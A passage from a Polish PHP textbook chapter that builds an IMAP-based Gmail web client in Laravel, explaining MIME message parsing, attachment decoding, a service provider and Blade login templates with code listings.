dokładniej, przedstawimy też kluczowe informacje na temat jej architektury.

Klasa Message oraz interfejs MessageInterface klienta IMAP


We wcześniejszej części rozdziału wspominaliśmy, że nasz klient IMAP będzie używał wzorca
projektowego prototypu do tworzenia obiektów, które będą odgrywały rolę pojemników zawiera-
jących poszczególne wiadomości pobierane ze skrzynki pocztowej. Biorąc pod uwagę imple-
mentację, tworzony przez nas klient IMAP wymaga zastosowania w tym celu dowolnego
obiektu implementującego interfejs App\Library\Imap\Message\MessageInterface, zdefiniowane-
go w następujący sposób:
<?php
namespace App\Library\Imap\Message;

interface MessageInterface
{
public function __construct($connection);
public function setSubject(string $subject);
public function getSubject() : string;
public function setFrom(string $from);
public function getFrom() : string;
public function setTo(string $to);
public function getTo() : string;
public function setDate(string $date);
public function getDate() : \DateTime;
public function setMessageId(string $id);
public function getMessageId() : string;
public function setReferences(string $refs);
public function getReferences() : string;
public function setInReplyTo(string $to);
public function getInReplyTo() : string;
public function setSize(int $size);
public function getSize() : int;
public function setUID(string $uid);
public function getUID() : string;
public function setMessageNo(int $no);
public function getMessageNo() : int;
}
?>

Domyślną implementacją tego interfejsu będzie przedstawiona już wcześniej klasa App\Library\
Imap\Message\Message. Niemniej jednak, wprowadzając niewielką zmianę w kodzie metody
App\Library\Imap\Client::setPrototype(), klasę tę można zamienić na dowolną inną klasę wybraną
Rozdział 29.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela ... 607

przez twórcę aplikacji. Na przykład można by stworzyć model Eloquent implementujący powyższy
interfejs i stosować go do pobierania wiadomości poczty elektronicznej, które jednocześnie będzie
można w prosty sposób zapisać w bazie danych.

Aby zaoszczędzić trochę miejsca, prezentując implementację klasy App\Library\Imap\Message\


Message, pominiemy wszystkie dostępne w niej standardowe metody typu „get” i „set” i skoncen-
trujemy się jedynie na metodach, których logika ma zasadnicze znaczenie. Wszystkie metody,
które nie zostały tu zaprezentowane, można znaleźć w kodach źródłowych dołączonych do tej
książki.

Zaczniemy od przedstawienia konstruktora klasy, który posiada jeden parametr (połączenie


IMAP używane do pobierania wiadomości). To bardzo prosty konstruktor, którego działanie
sprowadza się do ustawienia w polu daty bieżącej daty i godziny w celu zachowania spójności
danych obiektu:
public function __construct($connection)
{
$this->_date = new \DateTime('now');

if(!is_resource($connection)) {
throw new \InvalidArgumentException("Do konstruktora trzeba przekazać zasób IMAP.");
}

$this->_connection = $connection;
}

Jak można się było przekonać, analizując przedstawiony wcześniej kod klienta IMAP, zamierzo-
nym celem prostego użycia tego obiektu jest wykorzystanie go jako opakowania zapewniające-
go dostęp do różnych właściwości wiadomości poczty elektronicznej pobieranych za pomocą
funkcji imap_fetch_overview(). Niemniej jednak klasa ta została zaprojektowana zgodnie z założe-
niami programowania obiektowego, tak by te podstawowe informacje pobierane przy jej użyciu
można było także rozszerzyć o samą zawartość wiadomości. Konkretnie rzecz biorąc, nasza klasa
będzie implementować metodę fetch(), która — po przekazaniu podstawowych fragmentów
wiadomości przez klienta — skorzysta z możliwości klienta IMAP, by pobrać pełną treść reprezen-
towanej wiadomości. Metoda ta jest zdefiniowana w następujący sposób:
public function fetch(int $options = 0) : self
{
$structure = imap_fetchstructure($this->_connection,
$this->getMessageNo(), $options);
if(!$structure) {
return $this;
}

switch($structure->type) {
case TYPEMULTIPART:
case TYPETEXT:
$this->processStruct($structure);
break;
case TYPEMESSAGE:
break;
case TYPEAPPLICATION:
case TYPEAUDIO:
case TYPEIMAGE:
case TYPEVIDEO:
case TYPEMODEL:
608 Część V  Tworzenie praktycznych projektów PHP i MySQL

case TYPEOTHER:
break;
}

return $this;
}

Jak widać, metoda fetch() używa opisanej wcześniej funkcji imap_etchstructure(), by pobrać
ogólną strukturę zawartości przetwarzanej wiadomości e-mail. Korzystając z właściwości type
węzła głównego elementu zawartości wiadomości, możemy następnie w odpowiedni sposób
przetwarzać tę zawartość. W przypadku naszej prostej aplikacji będą nas interesować jedynie
dwa typy tej „głównej zawartości” wiadomości: zwyczajny tekst oraz wieloczęściowe wiadomości
w formacie MIME. Oba te typy reprezentują przeważającą większość wszystkich wysyłanych
obecnie wiadomości poczty elektronicznej i na potrzeby naszych rozważań są one zupełnie wystar-
czające. Typy te będą obsługiwane przez metodę processStruct(), która została przedstawiona
i opisana poniżej.

Metoda App\Library\Imap\Message\Message::processStruct() jest najbardziej skomplikowanym


fragmentem kodu prezentowanym w tym rozdziale. Jej zadaniem jest pobranie tablicy struktury
głównego poziomu zwracanej przez funkcję imap_fetchstructure() i rozłożenie jej na części
składowe, o ile mamy do czynienia z wiadomością tekstową lub wieloczęściową wiadomością
w formacie MIME. Ze względu na charakter wieloczęściowego formatu MIME processStruct()
jest metodą rekurencyjną, która dostając się coraz niżej i niżej w strukturze wieloczęściowej
wiadomości MIME, wielokrotnie wywołuje samą siebie. Kod tej metody został przedstawiony
poniżej:
protected function processStruct($structure, $partId = null)
{
$params = [];
$self = $this;

$recurse = function($struct) use ($partId, $self) {


if(isset($struct->parts) && is_array($struct->parts)) {

foreach($struct->parts as $idx => $part) {


$curPartId = $idx +1;

if(!is_null($partId)) {
$curPartId = $partId . '.' . $curPartId;
}

$self->processStruct($part, $curPartId);
}
}

return $self;
};

if(isset($structure->parameters)) {
foreach($structure->parameters as $param) {
$params[strtolower($param->attribute)] = $param->value;
}
}

if(isset($structure->dparameters)) {
foreach($structure->dparameters as $param) {
$params[strtolower($param->attribute)] = $param->value;
}
}
Rozdział 29.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela ... 609

if(isset($params['name']) || isset($params['filename']) ||
(isset($structure->subtype) &&
strtolower($structure->subtype) == 'rfc822'))
{
// przetworzenie załącznika
$filename = isset($params['name']) ? $params['name'] :
$params['filename'];
$attachment = new Attachment($this);
$attachment->setFilename($filename)
->setEncoding($structure->encoding)
->setPartId($partId)
->setSize($structure->bytes);
switch($structure->type) {
case TYPETEXT:
$mimeType = 'text';
break;
case TYPEMESSAGE:
$mimeType = 'message';
break;
case TYPEAPPLICATION:
$mimeType = 'application';
break;
case TYPEAUDIO:
$mimeType = 'audio';
break;
case TYPEIMAGE:
$mimeType = 'image';
break;
case TYPEVIDEO:
$mimeType = 'video';
break;
default:
case TYPEOTHER:
$mimeType = 'other';
break;
}
$mimeType .= '/' . strtolower($structure->subtype);

$attachment->setMimeType($mimeType);

$this->_attachments[$partId] = $attachment;

return $recurse($structure);
}

if(!is_null($partId)) {
$body = imap_fetchbody($this->_connection,
$this->getMessageNo(), $partId, FT_PEEK);
} else {
$body = imap_body($this->_connection, $this->getUID(),
FT_UID | FT_PEEK);
}

$encoding = strtolower($structure->encoding);
switch($structure->encoding) {
case 'quoted-printable':
case ENCQUOTEDPRINTABLE:
$body = quoted_printable_decode($body);
break;
case 'base64':
case ENCBASE64:
$body = base64_decode($body);
610 Część V  Tworzenie praktycznych projektów PHP i MySQL

break;
}

$subtype = strtolower($structure->subtype);
switch(true) {
case $subtype == 'plain':
if(!empty($this->_plainBody)) {
$this->_plainBody .= PHP_EOL . PHP_EOL . trim($body);
} else {
$this->_plainBody = trim($body);
}
break;
case $subtype == 'html':
if(!empty($this->_htmlBody)) {
$this->_htmlBody .= '<br><br>' . $body;
} else {
$this->_htmlBody = $body;
}
break;
}

return $recurse($structure);
}

Naturalną pierwszą reakcją na tak długi i skomplikowany kod jest onieśmielenie, ale spokojnie
— w dalszej części tego podpunktu rozdziału podzielimy ją na fragmenty i wyjaśnimy ich
działanie krok po kroku. Metoda zaczyna się od inicjalizacji pary zmiennych, które będą w niej
używane, oraz zdefiniowania zmiennej $recurse, zawierającej funkcję anonimową. Zadaniem
tej funkcji anonimowej jest określenie, czy obecnie analizowana „część” wiadomości MIME
sama składa się z innych części. Jeśli okaże się, że faktycznie składa się ona z kolejnych, pod-
rzędnych części, to przetwarzamy ją, wywołując w tym celu metodę processStruct() i wykonując
te same czynności dla poszczególnych części. A zatem zaczynając od struktury głównego poziomu,
schodzimy do struktur podrzędnych i rekurencyjnie pobieramy przy tym odpowiednie dane:
$recurse = function($struct) use ($partId, $self) {
if(isset($struct->parts) && is_array($struct->parts)) {

foreach($struct->parts as $idx => $part) {


$curPartId = $idx +1;

if(!is_null($partId)) {
$curPartId = $partId . '.' . $curPartId;
}

$self->processStruct($part, $curPartId);
}
}

return $self;
};

Warto zwrócić uwagę na to, że w momencie wywoływania metody processStruct() w meto-


dzie fetch() przekazana została do niej jedynie struktura zwrócona przez wywołanie funkcji
imap_fetchstructure(), anonimowa funkcja $recurse ma natomiast dwa parametry: pierwszym
z nich jest podrzędna struktura, którą chcemy przetworzyć, a drugim — wartość zmiennej $curPartId.

Dobrym sposobem myślenia o wieloczęściowych wiadomościach MIME jest wyobrażenie ich


sobie jako drzewa węzłów, z których każdy zawiera fragment treści wiadomości. Na przykład
wyobraźmy sobie, że mamy hipotetyczną wiadomość e-mail, dostępną zarówno w formie tekstowej,
jak i dźwiękowej, zawierającą załączniki. Ponieważ jest to wieloczęściowa wiadomość MIME,
jej hierarchiczną strukturę można przedstawić tak, jak pokazano na rysunku 29.1.
Rozdział 29.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela ... 611

Rysunek 29.1.
Struktura
wiadomości e-mail

Jak widać, tę hipotetyczną wiadomość można podzielić na trzy główne części: część tekstową,
część dźwiękową oraz plik załącznika. Jednak każda z tych części może się składać z dalszych
części podrzędnych. W powyższym przykładzie część tekstowa wiadomości składa się z części
określanej jako zwyczajny tekst (text/plain) oraz z treści zapisanej w formacie HTML (text/html).
Podobnie część dźwiękowa wiadomości składa się z dwóch części podrzędnych: pliku wav
(audio/wav) i pliku MP3 (audio/mp3). W naszym przykładzie plik załącznika nie zawiera żadnych
części podrzędnych.

Gdybyśmy mieli przypisać każdej z części wiadomości jakiś identyfikator, to prostym rozwią-
zaniem byłoby ponumerowanie ich na podstawie względnej głębokości, w sposób przedstawiony
na rysunku 29.2.

Rysunek 29.2.
Numerowanie
każdej z części
wiadomości MIME

W przypadku wykorzystania takiego schematu numeracji tekstowa wersja wiadomości e-mail


byłaby reprezentowana przez łańcuch znaków "1.1.1", wersja dźwiękowa w formacie Wav —
przez łańcuch "1.2.1", a dołączony do wiadomości plik — przez łańcuch "1.3".

Takie łańcuchy znaków są nazywane identyfikatorami części, a rozszerzenie PHP IMAP używa
ich do identyfikacji fragmentu wieloczęściowej wiadomości e-mail, który jest przetwarzany
w ramach danej operacji. Podczas działania naszej metody processStruct(), która rekurencyjnie,
węzeł po węźle, analizuje zawartość wiadomości, tworzony jest także odpowiedni identyfikator
części; reprezentuje on obecnie przetwarzany fragment wiadomości i będzie używany w dalszej
części kodu.

Następną operacją wykonywaną przez metodę processStruct() jest łączenie parametrów części
oraz parametrów dyspozycji (jeśli takie istnieją) w jedną tablicę — $params. Na mocy konwen-
cji parametry części i parametry dyspozycji nigdy nie używają tych samych identyfikatorów,
nawet pomimo tego, że z technicznego punktu widzenia jest to możliwe. Ponieważ w praktyce
nie ma potrzeby rozróżniania tych parametrów, połączenie ich i sformatowanie do postaci znor-
malizowanej listy (w której wszystkie identyfikatory są zapisane małymi literami) pozwoli później
na ich szybkie odnajdywanie:
if(isset($structure->parameters)) {
foreach($structure->parameters as $param) {
$params[strtolower($param->attribute)] = $param->value;
}
}
612 Część V  Tworzenie praktycznych projektów PHP i MySQL

if(isset($structure->dparameters)) {
foreach($structure->dparameters as $param) {
$params[strtolower($param->attribute)] = $param->value;
}
}

Kolejną czynnością jest przeanalizowanie obecnie przetwarzanej części i próba określenia, czy
stanowi ona plik załącznika, czy nie. W tym celu metoda sprawdza różne dostępne zmienne, ta-
kie jak wspomniane wcześniej parametry i podtyp typu danej części. W naszym przykładzie spraw-
dzamy, czy dla danej części zostały określone parametry 'name' oraz 'filename', gdyż ich obecność
w przeważającej większości przypadków oznacza, że dana część jest załącznikiem. Ponadto spraw-
dzamy, czy został określony podtyp danej części, a jeśli tak, to czy jest on łańcuchem 'rfc822', co
również oznacza, że dana część jest załącznikiem.
if(isset($params['name']) || isset($params['filename']) ||
(isset($structure->subtype) &&
strtolower($structure->subtype) == 'rfc822'))
{
// przetorzenie załącznika
$filename = isset($params['name']) ? $params['name'] :
$params['filename'];
$attachment = new Attachment($this);
$attachment->setFilename($filename)
->setEncoding($structure->encoding)
->setPartId($partId)
->setSize($structure->bytes);
switch($structure->type) {
case TYPETEXT:
$mimeType = 'text';
break;
case TYPEMESSAGE:
$mimeType = 'message';
break;
case TYPEAPPLICATION:
$mimeType = 'application';
break;
case TYPEAUDIO:
$mimeType = 'audio';
break;
case TYPEIMAGE:
$mimeType = 'image';
break;
case TYPEVIDEO:
$mimeType = 'video';
break;
default:
case TYPEOTHER:
$mimeType = 'other';
break;
}
$mimeType .= '/' . strtolower($structure->subtype);

$attachment->setMimeType($mimeType);

$this->_attachments[$partId] = $attachment;

return $recurse($structure);
}
Rozdział 29.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela ... 613

Jeśli na podstawie parametrów i podtypu części określimy, że dana część jest załącznikiem, to
tworzona jest instancja nieprzedstawionej jeszcze klasy Attachment — używanej do reprezentacji
załączników — którą następnie dodajemy do tablicy Message::$_attachments, stosując przy tym
identyfikator części jako klucz. Jeżeli chodzi o obiekt załącznika, to upewniamy się, że będzie
on podawał odpowiedni typ kodowania (czyli sposób, w jaki załączniki są zapisywane w wiadomo-
ści e-mail, na przykład base64); poza tym na podstawie typu części możemy określić charakter
samego załącznika. Do załączników wrócimy jeszcze nieco później, teraz interesuje nas jedynie
pobranie ich i zachowanie do późniejszego przetworzenia. Kiedy to zrobimy, przetwarzanie danej
części będzie chwilowo zakończone, dlatego możemy ponownie wywołać naszą anonimową
funkcję $recurse, aby określić, czy istnieją jakieś części podrzędne, i ewentualnie przetworzyć
je, jeśli się okaże, że faktycznie są dostępne.

Jeżeli w naszej ocenie obecnie analizowana część nie jest załącznikiem, to będzie ona musiała
stanowić fragment samej treści wiadomości. Oznacza to, że musimy pobrać zawartość tej części
i w jakiś sposób określić, co należy z nią zrobić. Dla uproszczenia prezentowanego rozwiązania
zakładamy, że jeśli część nie jest załącznikiem, to jest częścią samej wiadomości e-mail. Co
więcej, przyjmujemy, że sama wiadomość jest zapisana bądź to w formacie HTML, bądź też jako
zwyczajny tekst (ewentualnie w obu tych formatach).

Pierwszą czynnością związaną z przetwarzaniem treści wiadomości jest pobranie jej z obecnie
analizowanego segmentu wiadomości. Jeśli podczas wywoływania metody processStruct()
został do niej przekazany identyfikator części, to używamy go do pobrania zawartości tej części
przy pomocy funkcji imap_fetchbody(). Jeżeli natomiast identyfikator części nie został podany,
oznacza to, że przetwarzany e-mail nie jest wieloczęściową wiadomością MIME, a jego zawartość
jest jednocześnie treścią tej wiadomości; w takim przypadku można ją pobrać, wywołując funk-
cję imap_body(). W obu sytuacjach trzeba pamiętać, by zastosować stałą FT_PEEK, aby wiadomość
nie została oznaczona jako „przeczytana”:
if(!is_null($partId)) {
$body = imap_fetchbody($this->_connection,
$this->getMessageNo(), $partId, FT_PEEK);
} else {
$body = imap_body($this->_connection, $this->getUID(),
FT_UID | FT_PEEK);
}

Kolejną czynnością, jaką należy wykonać, jest zdekodowanie pobranej zawartości przy wykorzysta-
niu sposobu kodowania zastosowanego do jej przesłania i przywrócenie pierwotnej postaci tej
zawartości. W tym celu sprawdzamy właściwość encoding części i na podstawie odczytanego
sposobu kodowania dekodujemy zawartość części, używając odpowiedniej funkcji PHP. Dla
uproszczenia kodu nasza aplikacja obsługuje jedynie trzy sposoby kodowania: zwyczajny tekst
(nie wymaga dekodowania), quoted-printable oraz base64:
switch($structure->encoding) {
case 'quoted-printable':
case ENCQUOTEDPRINTABLE:
$body = quoted_printable_decode($body);
break;
case 'base64':
case ENCBASE64:
$body = base64_decode($body);
break;
}

Na tym etapie realizacji metody processStruct() udało nam się już zdobyć kilka informacji o prze-
twarzanej wiadomości. Przede wszystkim udało nam się ustalić, że analizowany segment nie jest
614 Część V  Tworzenie praktycznych projektów PHP i MySQL

załącznikiem, co dla naszego procesora oznacza, że segment ten musi być fragmentem treści
wiadomości. Poza tym pobraliśmy już tę wiadomość i zdekodowaliśmy ją do pierwotnej posta-
ci. W ramach kolejnej czynności musimy spróbować określić charakter tej treści, a konkretnie to,
czy została ona zapisana jako zwyczajny tekst, czy w formacie HTML. W tym celu trzeba sprawdzić
właściwość subtype struktury z informacjami o danej części wiadomości i w zależności od jej warto-
ści wykonać odpowiednie operacje:
$subtype = strtolower($structure->subtype);
switch(true) {
case $subtype == 'plain':
if(!empty($this->_plainBody)) {
$this->_plainBody .= PHP_EOL . PHP_EOL . trim($body);
} else {
$this->_plainBody = trim($body);
}
break;
case $subtype == 'html':
if(!empty($this->_htmlBody)) {
$this->_htmlBody .= '<br><br>' . $body;
} else {
$this->_htmlBody = $body;
}
break;
}

Nasz prosty klient pocztowy obsługuje jedynie wiadomości zapisane jako zwyczajny tekst lub
formatowane jako HTML; wszystkie inne podtypy treści są przez niego ignorowane. W przypad-
ku wiadomości, których treść jest zapisana jako zwyczajny tekst, zapisujemy ją we właściwości
Message::$_plainBody, a treści HTML zapisujemy we właściwości Message::$_htmlBody. Trzeba
pamiętać, że ta sama wiadomość e-mail może obejmować większą liczbę segmentów, z których
jeden będzie zawierał treść w postaci zwyczajnego tekstu, a inny — treść w formacie HTML; z tego
względu, aby mieć pewność, że cała treść wiadomości zostanie prawidłowo wyświetlona, metoda
processStruct() zawiera logikę, która przypisuje wszystkie odszukane treści do odpowiednich
właściwości.

Kiedy wszystkie niezbędne czynności zostaną wykonane, ponownie wywoływana jest meto-
da $recurse, dzięki czemu możemy mieć pewność, że zostaną przetworzone wszystkie istnieją-
ce podtypy. Pod koniec przetwarzania wiadomości wszystkie rekurencyjne wywołania metody
processStruct() zostaną zakończone, a efektem ich wykonania będzie zapisanie we właściwo-
ściach Message::$_plainBody, Message::$_htmlBody oraz Message::$_attachments odpowiednio
przetworzonej zawartości wiadomości e-mail, której teraz będziemy mogli użyć w innych fragmen-
tach aplikacji.

Klasa Attachment
Efektem wywołania metody Message::fetch(), a w konsekwencji także metody processStruct(),
jest utworzenie jednego lub kilku obiektów Attachment. Każdy z tych obiektów reprezentuje
i zawiera jeden z załączników przesłanych w przetwarzanej wiadomości. Aby zakończyć tworzenie
biblioteki IMAP używanej przez aplikację tworzoną w tym rozdziale, pokrótce omówimy również
tę klasę. Podobnie jak w przypadku klasy Message, także teraz pominiemy wszystkie standardowe
metody typu „get” i „set” i skoncentrujemy się jedynie na tych, które mają większą wartość
edukacyjną.

Tak jak same wiadomości poczty elektronicznej oraz zawartość klasy Message, również załączniki
nie są pobierane z serwera aż do momentu, kiedy jawnie tego zażądamy. A zatem choć wywołanie
metody Message::fetch() spowoduje pobranie przetwarzanej wiadomości e-mail oraz zdefiniowanie
Rozdział 29.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela ... 615

wszystkich przesłanych w niej załączników, to jednak same załączniki nie zostaną pobrane aż do
momentu wywołania przedstawionej poniżej metody fetch():
public function fetch() : self
{
$body = imap_fetchbody(
$this->_message->getConnection(),
$this->_message->getMessageNo(),
$this->_partId,
FT_PEEK);

switch($this->getEncoding()) {
case 'quoted-printable':
case ENCQUOTEDPRINTABLE:
$body = quoted_printable_decode($body);
break;
case 'base64':
case ENCBASE64:
$body = base64_decode($body);
break;
}

$this->setData($body);

return $this;
}

Dzięki dokładnemu opisowi metody Message::processStruct() przedstawiona powyżej metoda


Attachment::fetch() powinna być całkowicie jasna i zrozumiała. Podobnie jak wcześniej, także
i teraz wywołujemy funkcję imap_fetchbody() w celu pobrania konkretnej ścieżki względnej
wiadomości e-mail, w której umieszczona jest zawartość załącznika. Następnie zawartość załącz-
nika dekodowana jest przy użyciu odpowiedniego sposobu kodowania, po czym zostaje zapi-
sana w obiekcie poprzez wywołanie metody setData(). Po zakończeniu wywołania metody
Attachment::fetch() instancja tej klasy zawiera pełny, zdekodowany załącznik, gotowy do przesła-
nia do użytkownika w celu pobrania go, zapisania na dysku itd.

Do załączników i klasy Attachment wrócimy jeszcze raz nieco później, kiedy już zaimplementu-
jemy interfejs użytkownika naszego internetowego klienta poczty elektronicznej.

Łączenie wszystkich elementów


w celu implementacji internetowego klienta
poczty elektronicznej
W dwóch ostatnich rozdziałach przedstawionych zostało całkiem sporo różnych technologii,
zaczynając od rozszerzenia IMAP PHP (zastosowaliśmy je do zaimplementowania prostej, obiekto-
wej biblioteki, której będziemy używać do wchodzenia w interakcje z serwerem IMAP), a koń-
cząc na wprowadzeniu do frameworka Laravel. Teraz zajmiemy się połączeniem tych wszystkich
technologii w jeden finalny produkt, którym będzie prosty, internetowy klient poczty elektronicz-
nej, korzystający z protokołu IMAP (i serwerów IMAP używanych przez usługę Gmail firmy
Google).

Punktem wyjścia naszej pracy będzie standardowy projekt aplikacji Laravel 5, opisany w poprzed-
nim rozdziale. Pierwszą rzeczą, jaką należy zrobić po utworzeniu projektu Laravel, jest dołączenie
do niego kodu, który napisaliśmy wcześniej w tym rozdziale, czyli obiektowej biblioteki korzystającej
616 Część V  Tworzenie praktycznych projektów PHP i MySQL

z rozszerzenia IMAP dla języka PHP. Bibliotekę tę umieścimy w katalogu app/Library/Imap, co


sprawi, że będzie automatycznie dostępna w całym projekcie aplikacji Laravel w przestrzeni nazw
App\Library\Imap.

Dzięki możliwościom zapewnianym przez sam framework Laravel, a także dzięki pracy, którą
włożyliśmy w przygotowanie biblioteki IMAP, zaimplementowanie klienta poczty elektronicznej
sprowadzi się jedynie do podłączenia biblioteki oraz utworzenia w projekcie aplikacji odpowied-
nich kontrolerów i widoków. Zacznijmy od powiązania biblioteki IMAP z aplikacją Laravel poprzez
napisanie odpowiedniego dostawcy usług.

Implementacja klasy ImapServiceProvider


Aby zapewnić dostęp do naszej biblioteki IMAP, utworzymy prostego dostawcę usług (ang. Service
Provider) Laravel — klasę App\Providers\ImapServiceProvider. Jak Czytelnik zapewne pamięta
z wcześniejszej części rozdziału, nasza biblioteka zawiera klasę połączenia, GmailConnection(),
stanowiącą punkt wejścia do korzystania z serwera IMAP. Celem dostawcy usług, którego
mamy zamiar zaimplementować, jest udostępnianie tej klasy połączenia całej aplikacji Laravel,
i to w taki sposób, by można jej było używać bez wykonywania żadnych dodatkowych czynności
konfiguracyjnych.

W tym celu z poziomu klasy naszego dostawcy usług zarejestrujemy nowy pojemnik działający jako
singleton, który będzie odpowiedzialny za skonfigurowanie połączenia i zwracanie jego instancji,
odpowiednio przygotowanej do użycia:
<?php
namespace App\Providers;

use Illuminate\Support\ServiceProvider;
use App\Library\Imap\GmailConnection;

class ImapServiceProvider extends ServiceProvider


{
public function register()
{
$this->app->singleton('Imap\Connection\GMail', function($app) {
return new GmailConnection(
config('imap.gmail.options'),
config('imap.gmail.retries'),
config('imap.gmail.params')
);
});
}
}
?>

Analiza metody register() klasy naszego dostawcy usług pokazuje, że zawiera on całkiem prostą
logikę służącą do zarejestrowania domknięcia, które będzie wykonywane za każdym razem, gdy
aplikacja zażąda instancji klasy o nazwie 'Imap\Connection\Gmail'. Kod samego domknięcia także
jest prosty — jego działanie sprowadza się do zwrócenia nowej instancji klasy GmailConnection()
i wstrzyknięcia do niej niezbędnych wartości konfiguracyjnych. Wartości te pochodzą z danych
konfiguracyjnych aplikacji Laravel, przy czym odwołania takie jak imap.gmail.retries wskazują
na plik config/imap.php, który powinien zwracać tablicę zawierającą klucz 'retries'. A zatem jeśli
ten plik będzie istnieć i zwróci tablicę zawierającą klucz 'retries', to wartość skojarzona z tym
kluczem zostanie wstrzyknięta jako drugi parametr konstruktora. W przeciwnym razie — jeśli
plik nie zostanie znaleziony lub zwrócona tablica nie będzie zawierać poszukiwanego klucza —
funkcja config() frameworka Laravel zwróci null.
Rozdział 29.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela ... 617

Zanim powyższy dostawca usług będzie mógł być używany w aplikacji, musimy poinformować
framework o jego istnieniu. W tym celu w pliku config/app.php należy zmodyfikować tablicę
stanowiącą zawartość klucza 'providers', a konkretnie — dodać do niej następującą wartość:
App\Providers\ImapServiceProvider::class

Po dodaniu powyższego wiersza w pełni skonfigurowaną instancję (stanowiącą singleton) klasy


GmailConnection można pobrać (między innymi) przy użyciu metody App::make() frameworka
Laravel, podając w jej wywołaniu łańcuch znaków stanowiący referencję obiektu:
$gmailConnection = \App::make('Imap\Connection\Gmail');

Strona uwierzytelniania aplikacji klienckiej


Aby móc działać prawidłowo, strona uwierzytelniania naszego internetowego klienta poczty elektro-
nicznej powinna pobierać nazwę użytkownika oraz hasło dostępu do usługi Gmail. Informacje te
zostaną pobrane przez aplikację i użyte do wykonania próby uwierzytelnienia użytkownika na
serwerze IMAP. Zakładając, że uwierzytelnienie użytkownika zostanie wykonane prawidłowo,
aplikacja zapisze te informacje w sesji użytkownika, tak by można je było wykorzystywać także
w innych jej miejscach. W razie niepowodzenia uwierzytelniania aplikacja wyświetli stosowny
komunikat i zapewni użytkownikowi możliwość ponowienia próby.

Zacznijmy od utworzenia widoku HTML określającego wygląd strony do uwierzytelniania. W celu


zwiększenia wszechstronności rozwiązania podzielimy tę stronę na dwa szablony Blade, tak jak
to zrobiliśmy w poprzednim rozdziale. Pierwszy z nich będzie ogólnym szablonem układu, a drugi
określi konkretną zawartość strony z formularzem do logowania. Rozwiązanie to pozwoli na to,
żeby w razie pojawienia się takiej konieczności można było w prosty sposób rozbudować część apli-
kacji niewymagającą uwierzytelniania. Szablon układu należy zapisać w pliku resources/views/
layouts/public.blade.php; oto jego kod:
<html>
<head>
@section('stylesheets')
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/
bootstrap.min.css" integrity="sha384-1q8mTJOASx8j1Au+a5WDVnPi2lkFfwwEAa8hDDdjZlpLegxhj
VME1fgjWPGmkzs7" crossorigin="anonymous">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/
bootstrap-theme.min.css" integrity="sha384-fLW2N01lMqjakBkx3l/
M9EahuwpSfeNvV63J5ezn3uZzapT0u7EYsXMjQV+0En5r" crossorigin="anonymous">
@show
</head>
<body>
<div class="container">

@if (count($errors) > 0)


<div class="alert alert-danger">
<ul>
@foreach ($errors->all() as $error)
<li>{{ $error }}</li>
@endforeach
</ul>
</div>
@endif

@yield('main')
</div>
</body>
618 Część V  Tworzenie praktycznych projektów PHP i MySQL

@section('javascript')
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"
integrity="sha384-0mSbJDEHialfmuBBQP6A4Qrprq5OVfW37PRR3j5ELqxss1yVqOtnepnHVP9aJ7xS"
crossorigin="anonymous"></script>
@show
</html>

Aby znacznie uprościć tworzenie niezbędnego układu oraz określanie stylów strony, wykorzysta-
my w niej framework CSS Bootstrap. Analiza kodu powyższego szablonu Blade pokazuje, że
zdefiniowaliśmy w nim kilka sekcji, które później będzie można rozszerzać w szablonach pochod-
nych. Konkretnie rzecz biorąc, zdefiniowaliśmy sekcję 'stylesheets' (umieszczoną wewnątrz
elementu <head> naszej strony), służącą do określania arkuszy stylów, których będziemy chcieli
używać w tym arkuszy frameworka Bootstrap, oraz sekcję 'javascript', umieszczoną na samym
końcu dokumentu i przeznaczoną do dołączenia niezbędnego kodu JavaScript wykorzystywanego
przez framework Bootstrap. Kody JavaScript umieściliśmy na końcu, a arkusze stylów na początku,
gdyż przeglądarki zazwyczaj wczytują zasoby w takiej kolejności, w jakiej zostają one podane
w kodzie dokumentu HTML. Dlatego też wczytywanie skryptów JavaScript po pobraniu całej
pozostałej zawartości strony jest uznawane za najlepsze rozwiązanie.
Można także zauważyć, że w układzie została umieszczona logika warunkowa, sprawdzającą
wartość zmiennej $errors. W szablonach Blade zawsze jest dostępny obiekt $errors, odgrywający
rolę standardowej struktury przeznaczonej do przechowywania komunikatów o błędach, które
należy wyświetlić w widoku wygenerowanym przez kontroler. Tym zagadnieniem zajmiemy
się za chwilę, a teraz wystarczy zwrócić uwagę na to, że dzięki dołączeniu tego fragmentu do
układu uzyskujemy standardowy mechanizm pozwalający na wyświetlanie użytkownikom komuni-
katów o błędach we wszystkich generowanych widokach.
Powyższy układ jest rozszerzany poprzez podanie konkretnych treści określających postać strony
z formularzem do logowania. Ten drugi szablon będzie zapisany w pliku resources/views/auth/
login.blade.php; jego kod przedstawiliśmy poniżej:
@extends('layouts.public')

@section('main')
<div class="col-lg-5 col-lg-offset-2">
<div class="panel panel-default">
<div class="panel-heading">
Proszę się zalogować
</div>
<div class="panel-body">
<form action="/auth/login" method="POST">
{!! csrf_field() !!}
<div class="form-group">
<label for="email">Nazwa użytkownika Gmail</label>
<input type="text" name="email" id="email" placeholder="user@gmail.com">
</div>
<div class="form-group">
<label for="password">Hasło Gmail</label>
<input type="password" name="password" id="password">
</div>
<div class="form-group">
<input type="checkbox" name="remember"> Zapamiętaj mnie
</div>
<button class="btn btn-block btn-primary" type="submit">
<i class="glyphicon glyphicon-lock"></i> Zaloguj
</button>
</form>
</div>
</div>
</div>
@stop
Rozdział 29.  Tworzenie internetowego klienta poczty elektronicznej z użyciem Laravela ... 619

Jak można się było spodziewać, powyższy szablon jest w przeważającej mierze zwyczajnym
formularzem HTML, zapewniającym użytkownikowi możliwość podania informacji uwierzytel-
niających. Warto zwrócić uwagę jedynie na dwie rzeczy: na to, iż rozszerza on szablon Blade
layouts.public, przez co zostanie on użyty podczas generowania wynikowego kodu strony,
oraz na to, że wiersz kodu o postaci {!! csrf_field() !!}} użyty został bezpośrednio poniżej
otwierającego znacznika <form>. Ten zapis stanowi wywołanie funkcji szablonów, która jest
udostępniana przez framework Laravel i służy do generowania specjalnego, ukrytego pola formula-
